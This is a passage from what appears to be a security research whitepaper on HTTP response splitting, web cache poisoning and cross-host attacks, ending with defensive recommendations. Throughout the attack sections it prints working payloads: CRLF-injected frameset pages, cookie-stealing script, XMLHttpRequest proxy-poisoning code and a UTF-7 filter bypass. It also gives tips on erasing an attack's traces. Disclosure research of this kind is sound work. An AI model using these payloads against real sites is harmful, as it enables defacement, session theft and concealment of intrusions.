Finally, if the redirection is performed on another site, then IE apparently abandons the current TCP connection. This renders the attack useless.

It is possible to maximize the probability of success by sending couples of requests over and over again. This is achieved by using a frame page with multitude of frames:

```
<frameset
cols="5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%"
>
  <frame
src="http://10.1.1.1/redirect_lang.jsp?lang=%0d%0aConnecti on: %20K
eep-Ali ve%0d%0a%0d%0aAAAAAAA
... [pad response to 1024 bytes]...
AAAAAAAAAAAAAAHTTP/1.1%20200%200K%0d%0aContent-
Type: %20text/html%0d%0aLast-
Modi fi ed: %20Sun, %2023%20Nov%202003%2014: 05: 11%20GMT%0d%0aConte
nt-
Length: %2040%0d%0a%0d%0a<html >Cache%20i s%20now%20poi soned</htm
l >">
    <frame src="http://10.1.1.1/index.html ">
... [9 more such <frame> pairs] ...
  </frameset>
</html >
```

This will send 10 requests that cause HTTP response splitting and 10 requests for the poisoned resource. Thus, we were successful in mounting this cache poisoning attack on IE's cache.

It is also assumed, that IE is configured with "Check for newer versions of stored pages" at "Every visit to the page" (or at least at "Every time you start Internet

Explorer”). This setting is found under Internet Options -> General -> Temporary Internet Files Settings. Its default value is “Automatic”, which means practically, that the browser never checks for a fresher version of a cached resource. Since it’s a very impractical setting in many applications on most IE browsers we surveyed, this setting is changed to either “Every visit to the page” or “Every time you start Internet Explorer”. The flip side is that if IE’s configuration is “Automatic” or “Never”, and the attacked site was never visited, an attack is possible, and will also remain forever in IE’s cache.

For simplicity, let us assume that IE is configured to check new versions of stored pages on every visit to the page. IE behaves slightly differently than cache servers: IE always sends a request. This is obvious if the resource is not already in the cache. But even if IE already caches the resource, it will send a request with `If-Modified-Since` HTTP header. Therefore, the attacker need not invalidate the current cache entry of IE in order to enable caching the poisoned resource (and anyway, there is no explicit way resource invalidation for IE can be done from HTML or Javascript). The attack causes IE to send a request and to match it with the poisoned resource inside an HTTP “200” response, with a `Last-Modified` response header and a more recent time than the `Last-Modified` time of the cached resource. This results in IE caching the poisoned resource since it assumes the server sent a fresher copy of it. Unlike IE, cache servers simply don’t send the request when it is cached unless it expires or according to some internal cache refreshment algorithm. Therefore, for cache servers, cache invalidation must be forced before a new poisoned resource is loaded. Sometimes this can be done in a single request.

For cross-site scripting, the situation is more favorable. Since it does not really matter which request will match the second response (it’s granted that any further request on the same TCP connection is for the same site), the attack is bound to succeed, unless the server terminates the connection. We usually only need one request if the normal response is a redirection to the same site, or two if the normal response is not a redirection.

If the server terminates the connection upon redirecting, we can still “bombard” the server with requests, as follows:

```
<frameset
col s="5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%, 5%">
  <frame
src="http://10.1.1.1/redi_r_l ang.jsp?l ang=%0d%0aConnecti on: %20K
eep-Ali ve%0d%0a%0d%0aAAAAAAA
... [pad response to 1024 bytes] ...
AAAAAAAHTTP/1.1%20200%200K%0d%0aContent-
Type: %20text/html %0d%0aContent-
Length: %2052%0d%0a%0d%0a<html ><scri pt>al ert(document.cooki e)</
scri pt></html >">

... [19 more such <frame> pairs] ...

</frameset>
</html >
```

There is no need to alternate between two requests. If the second request happens to be an HTTP response splitting request and it is matched with a second response from an earlier HTTP response-splitting request, the cross-site scripting attack would still work - the response would be rendered just as well by IE. We were successful in mounting a cross-site scripting attack in this scenario for a server that terminates the TCP connections.

Other Indirect Web Cache Poisoning Attacks

The above web cache poisoning attack on IE is different from attacks on other targets, such as cache servers, in that the requests are not sent by the attacker, but rather, by another entity that has access to the cache (in the IE case, the local cache), access which is not available to the attacker.

This principle can be extended into attacking other inaccessible targets using an intermediate entity usually client/browser. For example, consider an organization that has an internal forward proxy cache server. Such a cache server can be a target to a web cache poisoning attack by having the client originate the attack. This can be achieved if the attacker causes the client to download some HTML page and/or Javascript code and run it on the attacker's behalf. The attacker must use the XMLHttpRequest object or similar interface of IE in order to add HTTP headers (Cache-Control or Pragma). However, since the XMLHttpRequest object can access the site only if it originates in a page downloaded from the site, it requires a preliminary cross site scripting condition. As we explained above, a site with an HTTP response splitting vulnerability is by definition susceptible to cross-site scripting.

The attack proceeds as following:

The attacker sends the client a link/page that includes a cross-site scripting attack on the server. The user initiates the attack. The server returns a page with malicious JavaScript code, including a use of the XMLHttpRequest object. The code uses this object adding an HTTP header to the request.

Here is an example of the malicious Javascript code (the payload of the cross site scripting attack). For simplicity, it is assumed that the target is an Apache 2.0 forward proxy server, the browser is IE 6.0 SP1, the vulnerable script on the web server is setting a cookie using a user value (a redirection scenario is more complex because it requires handling the race condition in IE), the browser uses HTTP/1.1 to communicate with the proxy server (otherwise XMLHttpRequest seems to disconnect the TCP connection after a single request), and that we poison /index.html :

```
var r = new XMLHttpRequest("Microsoft.XMLHTTP");

r.open("GET", "http://10.1.1.1/index.html", false);
r.setRequestHeader("Pragma", "no-cache");
r.send();

r.open("GET", "http://10.1.1.1/SetLang.aspx?lang=%0d%0aContent-Length: %200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aLast-Modified: %20Mon, %2027%20Oct%202003%2014: 50: 18%20GMT%0d%0aContent-Length: %2020%0d%0aContent-Type: %20text/html%0d%0a%0d%0a<html>Hacked! </html>", false);
```

```
r. send();  
r. open("GET", "http://10.1.1.1/index.html", false);  
r. send();
```

Cross User Attacks – The Theory

Squid 2.4 and ISA/2000 allow users to share server connections (with Squid 2.4, this happens particularly when one user disconnects, and the other user establishes a connection, but may happen in other scenarios as well). In this case, it is potentially possible for the attacker to send an HTTP response splitting attack to the target, which causes the server to send two responses. If there's a delay between sending those two responses to the server, such that in between the attacker disconnects and a victim user sends a request to the server through the target, the attack works. As can be seen, this requires delicate timing, and was proved to work when the delay between the response packets was as low as 10ms (tested with Squid 2.4 as a forward proxy cache). With ISA2000, this should be slightly easier, since two users may share the same server TCP connection and there is no need for the first user to disconnect.

This attack was not tested in real-life lab reproduction.

[Note that for this attack to work, the intermediate server should be a proxy server that may share two incoming connections from two clients as a single connection to the server. However, the intermediate server is not required to be a cache server as well (in contrast to web cache poisoning attacks).]

Hijacking a Page (HTTP response) with User Sensitive Information

This attack is similar in a sense to the cross user attack. In this case, however, the object of the attack is not to set the response the user receives to a spoofed page. Instead, the attack diverts a response generated by the server, and intended for a client, to the attacker.

This can be achieved by the following scheme:

Let us designate requests by uppercase letters, responses by lowercase letters. We assume an attacker, a victim client, a vulnerable web server, and an intermediate proxy server (not necessarily caching), which shares user connections (e.g. Squid 2.4 and ISA2000).

Let us designate the TCP connection between the attacker and the proxy server as *AP*, the TCP connection between the victim client and the proxy server as *VP*, and the TCP connection between the proxy server and the web server as *PW*.

1. The attacker sends (over *AP*) the proxy server a request *A*, which will cause a response splitting on the web server (into a_1 and a_2).
2. The proxy server forwards (over *PW*) the request *A* to the web server.

3. The web server responds (over *PW*) with a_1 followed by a_2 .
4. The proxy server interprets a_1 as the response for *A*, forwards it (over *AP*) to the attacker.
5. The victim client sends the proxy a request *B* over *VP*. The web server will eventually (in step 9) respond to this request with a page *b* containing sensitive information.
6. The proxy server sends *B* to the web server (over *PW*), and immediately interprets a_2 as the response.
7. The proxy server sends the victim client a_2 as a response (for the request *B*), over *VP*.
8. The attacker sends the proxy server an arbitrary request *C* (over *AP*).
9. The proxy server receives the web server's response *b* to the request *B* (over *PW*).
10. The proxy server sends *C* to the web server (over *PW*), and immediately interprets *b* as the response (for *C*).
11. The proxy sends the attacker *b* as a response (for request *C*), over *AP*. At this point, the attack is successful – the attacker gains access to the response *b* that was meant to reach the victim client.
12. The proxy server receives the response *c* (over *PW*), which is not matched to any request. This response is probably discarded after some time, or when the connection is closed.

Just like the cross user attack, this attack is subject to timing constraints, and was not tested.

Other Practical Aspects

SSL

When SSL is used, no intermediate cache server actually sees or caches the pages, hence it is impossible to poison an intermediate web cache (e.g. a forward proxy) when SSL is used. However, it may still be possible to poison a cache located between the SSL termination point, and the actual web server. For instance, if the site uses a reverse proxy to terminate the SSL connection, and that reverse proxy also happens to cache pages, then it may be possible to poison its cache. Likewise, it may be that the site uses a dedicated SSL acceleration device in front of a cache server, in which case, again, the cache server may be poisoned.

At the client side, it may be possible to poison the browser cache, since it does process pages in the clear after they are decrypted. This was not tested.

Chain of Proxies

The above discussion pertained to a scenario where a single cache server is in place between the client (attacker) and the web server. However, it may be possible for a chain of cache servers to handle the traffic between the attacker and the web server. This may be the case, for example, when the attacker's ISP uses a forward proxy server, and the site uses a reverse proxy server. The attack should still be possible, at least in theory, in this case. This was not tested.

Forensics

It should be noted that in general, an HTTP response splitting attack is logged on the web server as an invocation of a vulnerable script with a peculiar parameter only in the case of a GET request. If the attack uses a POST request, then the parameters are not logged, and it's virtually impossible to differentiate a legitimate invocation of the vulnerable script from the attack. In any case, it should be noted that since the application typically embeds the user data directly into the outgoing HTTP stream, it's unlikely for the incriminating data to pass through the server file system or to modify the system state, e.g. by raising events/traps, opening handles/threads/processes, etc. In this respect, the attack is much less detectable than standard defacements that involve changing files on the server. In fact, this attack will not even be flagged by anti-defacement devices, as these monitor static application files/pages, and, the request for the main application page is served from the cache not passing through the anti defacement device.

It may be possible in a forensics examination to correlate the time of the attack to proxy/cache server logs. If the cache server logs are not available (e.g. the cache server is not owned by the attacked site), it may still be possible, if the poisoned resource is still cached, to obtain the time of the attack using the HTTP Response header age.

However, as hinted in the use cases, the preferred attack method is to restore the original resource in the cache server as soon as possible to cover the attack's trails and to minimize the visibility of the attack. In this case, the attacker can do one of the following:

- Manually remove the poisoned entry from the cache server by forcing a cache revalidation. This can be done by sending a request for the resource with one or more of the following HTTP headers:
 - Pragma: no-cache
 - Cache-Control: no-cache
 - Cache-Control: max-age=0
- With the poisoned resource, include an Expires HTTP response header, which indicates to the cache server when the resource is to be expired. This was tested with the Squid and Apache proxy, and both assume their own internal clock (as opposed to the Date header of the resource) is to be compared to the date and time specified in the Expires header. This means that there may be some variance in the time the resource is invalidated, depending on the internal clocks of the attacked cache servers.

If the cache poisoned is IE's cache, then the attacker can partially control when the resource is removed from the cache. This is because it seems that IE never removes objects from its cache unless the cache folder reached its maximum size, and therefore, it's not possible to poison IE's cache without potentially leaving tracks. However, IE will send a revalidation request (with If-Modified-Since and/or If-None-Match HTTP headers) by default with each reloading of the poisoned page, and therefore, it's quite easy to make sure that the cache is refreshed with the original resource. By poisoning the cache of IE with a resource with Cache-Control: max-age=*d*, together with a Last-Modified header showing a date earlier than the original

resource, it is possible to force IE to render the poisoned resource as-is for the next d seconds, and after that, to revalidate it, thereby loading the original page.

We see, therefore, that it's possible for the attacker to automatically (in the case of cache servers and IE) or manually (in the case of cache servers) to restore the cache to its original state (more or less), thereby obstructing forensics efforts.

HTTP Response Splitting Vulnerability in the Wild

We noted a lot of sites that have the basic vulnerability -especially through the redirection scenario:

- It appeared in numerous web application security audits conducted by Sanctum
- It was found in 3 out of 10 Fortune 100 sites we checked recently
- It was found in a popular commercial web-mail application
- Several cases in the "Related work" describe a scenario where this vulnerability in fact exists (but was not realized as such)

Research By Products

During the research, we developed several attacks, which are not HTTP response splitting attacks per se. The first two attacks are cache-poisoning attacks for virtual shared hosting. Both are dubbed "cross-host web cache poisoning attack". The last one is a cross-site scripting variant for ASP.NET 1.1.

The two cross-host web cache poisoning attacks demonstrate the hazards of virtual hosting, since even if one site is not vulnerable to an HTTP response splitting attack, it still may be subject to web cache poisoning through a vulnerability in a co-hosted site, or through a malicious co-hosted site.

Cross-host web cache poisoning attack

At least one target we tested, when connecting a client (incoming TCP connection) to two backend servers, uses the same TCP connection if the server names happen to resolve into the same IP address.

Let us assume that the target is used as a reverse proxy cache server in front of a shared hosting environment, in which many websites share the same backend web server and IP address. In this case, the attack is simply to buy a domain on the shared server, set up a malicious script on it that returns an output stream consisting of two HTTP responses per a single HTTP request and access the script as a client. This was actually tested with a standard redirection script, but of course it's easier to mount the attack with a tailor made script (see below)., Unlike the former attack variants, this time the attacker uses a different HTTP Host request header for the 2nd response, thus poisoning the proxy server's cache entry of another site.

Here's an example (assume `http://www.victim.site/index.html` is the target for poisoning, and `www.attacker.site` has the malicious script `/malicious_script.pl`, and both `www.victim.site` and `www.attacker.site` share the same IP address):

```
GET /malicious_script.pl HTTP/1.1
Host: www.attacker.site
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
```

```
GET /index.html HTTP/1.1
Host: www.victim.site
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
Cache-Control or Pragma to force cache reloading
```

Using such “voluntary” HTTP response splitting when the attacker has some control over the server (e.g. in ISP/ASP model) is much easier than the “forced” HTTP response splitting attack. Every cache/proxy server that shares the TCP connection when the hosts map into the same IP may be vulnerable even if it rejects superfluous data, because the attacker controls the timing of the response through the server script.

Note that even if a domain on the same server cannot be acquired or taken over by the attacker, the attacker can still make use of an HTTP response splitting vulnerability in one site to poison the cache of another site - provided both sites are hosted on the same IP address.

Cross host web cache poisoning attack (using an implementation bug).

One target displayed a buggy behavior that enabled another variant of the web cache poisoning attack. The implementation bug is as follows:

When the target acts both as a reverse proxy and as a forward proxy, and when it is configured to retain the host of the original request, it will use the HTTP Host header instead of the host in the URL line.

So, for the following request:

```
GET http://A.site/index.html HTTP/1.0
Host: B.site
```

The target would forward:

```
GET /index.html HTTP/1.0
Host: B.site
```

Instead of the correct request:

```
GET /index.html HTTP/1.0
Host: A.site
```

The cache server would cache the result resource as `http://A.site/index.html`, which means that the resource is cached under an incorrect name.

This scenario doesn't happen in normal usage, because browsers (at least IE) use the host name from the URL line for the Host header.

Therefore, if the target is used as a reverse proxy and a forward proxy cache, and the site hosts several virtual sites on a single server/IP address (this may happen in an ISP/ASP model), then the following attack is feasible:

The attacker accesses the site through the forward proxy. By crafting the special request below, the attacker is able to poison the cache so that any further requests (through the cache server) to `http://A.site/index.html` is answered from the cache as `http://B.site/index.html`:

```
GET http://A.site/index.html HTTP/1.0
Host: B.site
```

(This assumes that there is a cacheable resource `http://B.site/index.html`).

Some HTTP headers (e.g. Cache-Control and Pragma) may be needed to force the cache server to reload the resource.

Note that in this variant, the attacker has no control over the HTTP response headers. As such, the poisoning may be weaker than the former variants. However, if this attack is combined with an HTTP response splitting vulnerability in site B, then it's possible for the attacker to shape the response in any way he/she likes.

Cross Site Scripting in ASP.NET 1.1 (un-sanitized user data in a cookie name/value)

Using UTF-7 encoding, we can mount a cross-site scripting attack on an ASP.NET 1.1 application, without the need for HTTP Response Splitting. Assuming an ASP.NET script that sets a cookie using an embedded user value, it is possible to control the HTTP response (the current response – no splitting). The attacker would then like to shape the following HTTP response:

```
...
<html ><body><scri pt>Javascript code
here</scri pt></body></html >
```

So something like the following would be used (assuming `/scri pt. aspx` takes the argument `lang` and uses it in a cookie value, i.e. in a Set-Cookie response header):

```
http://victi m. si te/scri pt. aspx?lang=foobar?%0d%0aContent-
Type: %20text/html %0d%0aContent-
Length: %2080%0d%0a%0d%0a<html ><body><scri pt>al ert(' XSS, cooki es
: ' +document. cooki e)</scri pt></body></html >
```

However, ASP.NET 1.1 would reject such a request, because it contains the character “<” followed by an alphabetic character (“h”).

In order to bypass this, the attacker can use UTF-7 encoding, as follows:

```
http://victim.site/script.aspx?lang=foobar?%0d%0aContent-
Type:%20text/html;charset=UTF-7%0d%0aContent-
Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-
%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2B-
document.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-
%2BADw-/html%2BAD4-
```

This attack was successfully tested with IE 6.0 SP1 and ASP.NET 1.1.

Recommendations

For web application developers

Validate input. Remove CRs and LFs (and all other hazardous characters) before embedding data into any HTTP response headers, particularly when setting cookies and redirecting. It is possible to use third party products (e.g. Sanctum's AppShield and AppScan) to defend against CR/LF injection, and to test for existence of such security holes before application deployment.

Furthermore:

- Make sure you use the most up to date application engine
- Make sure that your application is accessed through a unique IP address (i.e. that the same IP address is not used for another application, as it is with virtual hosting).

For web application engine vendors

- Disallow CRs and LFs (and all hazardous characters) in all HTTP response headers. In fact, this is required to meet RFC 2616. At large, an HTTP response header (particularly Set-Cookie and Location) may not contain raw CR and LF, as these are used to separate headers.

For proxy vendors

- Avoid sharing server TCP connections among different clients (incoming TCP connections).
- Avoid sharing server TCP connections among different virtual hosts (servers).
- Implement "maintain request host header" correctly by copying the hostname from the URL line (and not from the Host header) into the request to be sent to the server.

For client vendors (including cache/proxy servers and browsers)

- Avoid sharing server TCP connections among different virtual hosts (servers).
- When sending a request through a forward proxy, maintain different TCP connections (with the proxy) per different virtual hosts.

Conclusions

An HTTP response splitting vulnerability in web applications may lead to defacement through web cache poisoning and to cross-site scripting vulnerabilities. HTTP response splitting is relevant to many web applications, in many manifestations, and on most leading application engines.

Web cache poisoning is relevant to several leading proxy servers when it is mounted using HTTP response splitting. It enables the attacker to upload his/her own page to the cache server, a page that will be later served by the cache server to the site's clients, instead of the original page on the site.

When the site is co-hosted (i.e. when several virtual hosts share the same physical web server), it may be possible to mount a web cache poisoning without the need to have the application vulnerable to HTTP response splitting.

Since both HTTP response splitting and web cache poisoning are new, it is expected that additional impact and related techniques will be found. We feel that the research conducted and the results obtained do not exhaust the potential of HTTP response splitting and web cache poisoning.

Related work

- Using CRLF injection to influence a response is a known concept for some time. Perhaps the first appearance is in [2]. But there, the author only discusses how to modify the “current” HTTP response (hinting at attacks such as the “Cross Site Scripting in ASP.NET using cookies” above, and more broadly at [3] and at [4]). The new approach presented in this paper is that there’s much to be gained by splitting the HTTP response stream into two (or more) HTTP response messages.
- The concept of cache poisoning at large is also known for a long while (DNS cache poisoning, for example, dates back at least 10 years- see [5]). An attack involving in maliciously removing an entry from a web cache is implicitly mentioned in RFC 2616 section 13.10 (forced removal of cache entries by specifying a spoofed Content-Location response header received from a different site). However, this paper presents a full-fledged working and much more powerful concept of web cache poisoning (introducing new/modified entries into a cache, not just removing existing entries).
- Using UTF-7 is discussed in [6] as a way to bypass content filtering software (such as anti-virus and mail attachment scanners). In this paper, this technique is used to bypass anti-XSS patterns employed by ASP.NET 1.1.

References

- [1] “UTF-7 - A Mail Safe Transformation Format of Unicode” (RFC 2152), <http://www.ietf.org/rfc/rfc2152.txt>
- [2] “CRLF Injection” by Ulf Harnhammer (BugTraq posting), <http://www.securityfocus.com/archive/1/271515>
- [3] “CSS before redirect” by Thomas Schreiber (BugTraq posting), <http://www.securityfocus.com/archive/107/336744>
- [4] “PHP header() CRLF Injection” by Matthew Murphy (BugTraq posting), <http://www.securityfocus.com/archive/1/290872>
- [5] “ADDRESSING WEAKNESSES IN THE DOMAIN NAME SYSTEM PROTOCOL” by Christoph Schuba, <http://ftp.cerias.purdue.edu/pub/papers/christoph-schuba/schuba-DNS-msthesis.pdf>
- [6] “Bypassing Content Filtering Whitepaper” by “3APA3A”, <http://www.security.nnov.ru/advisories/content.asp>

Appendix - Lab Environment

The infrastructure is a switched 100Mbit Ethernet LAN.

The products used are:

Proxy Servers

- “**ISA/2000**” – Microsoft ISA/2000 SP1 FP1 on Windows/2000 Server SP3
- “**Apache/2.0**” –
 - Apache/2.0.45 on Windows/2000 Server SP3
 - Apache/2.0.48 on Windows/2000 Professional Both with mod_proxy (+mod_http_proxy), mod_cache (+mod_mem_cache)
- “**Squid 2.4**” – Squid 2.4.STABLE7 on Linux (Red-Hat 8.0, Linux kernel 2.4.18-27.8.0)

Application Servers

- “**WebSphere 5.0**” – IBM WebSphere Application Server 5.0.0 (in WSAD 5.0), on Windows/2000 Server SP3.
- “**WebSphere 5.1**” – IBM WebSphere Application Server 5.1 (in WSAD 5.1.1), on Windows/2000 Server SP4.
- “**Tomcat 4.1.24**” – Jakarta Tomcat 4.1.24 on Apache/Coyote 1.0, Windows/2000 Server SP3
- “**WebLogic 8.1 SP1**” – BEA WebLogic 8.1 SP1 on Windows/2000 Server SP4.
- “**ASP**” – Microsoft ASP/3.0 on IIS/5.0, Windows/2000 Server SP2
- “**ASP.NET 1.0**” – Microsoft ASP.NET (.NET framework 1.0) on IIS/5.0, Windows/2000 Server SP2
- “**ASP.NET 1.1**” – Microsoft ASP.NET (.NET framework 1.1) on IIS/6.0, Windows/2003 Web Server Edition
- “**ColdFusion/MX 6.0**” – Macromedia ColdFusion/MX 6.0 (version 6.0.0.0) on IIS/5.0, Windows/2000 Server SP2
- “**ColdFusion/MX 6.1**” – Macromedia ColdFusion/MX 6.1 (version 6.1.0.0) on IIS/5.0, Windows/2000 Server SP3
- “**SunONE 6.1**” – Sun Microsystems Sun Java System Web Server 6.1 (formerly SunONE Web Server 6.1 / Sun/Netscape iPlanet Web Server 6.1) on Windows/2000 Server SP4

Clients (browsers)

- “**IE 6.0 SP1**” – Microsoft Internet Explorer 6.0 SP1 (Version 6.0.2800.1106, SP1, Q330994, Q818529, Q822925) on Windows/2000 Professional SP4.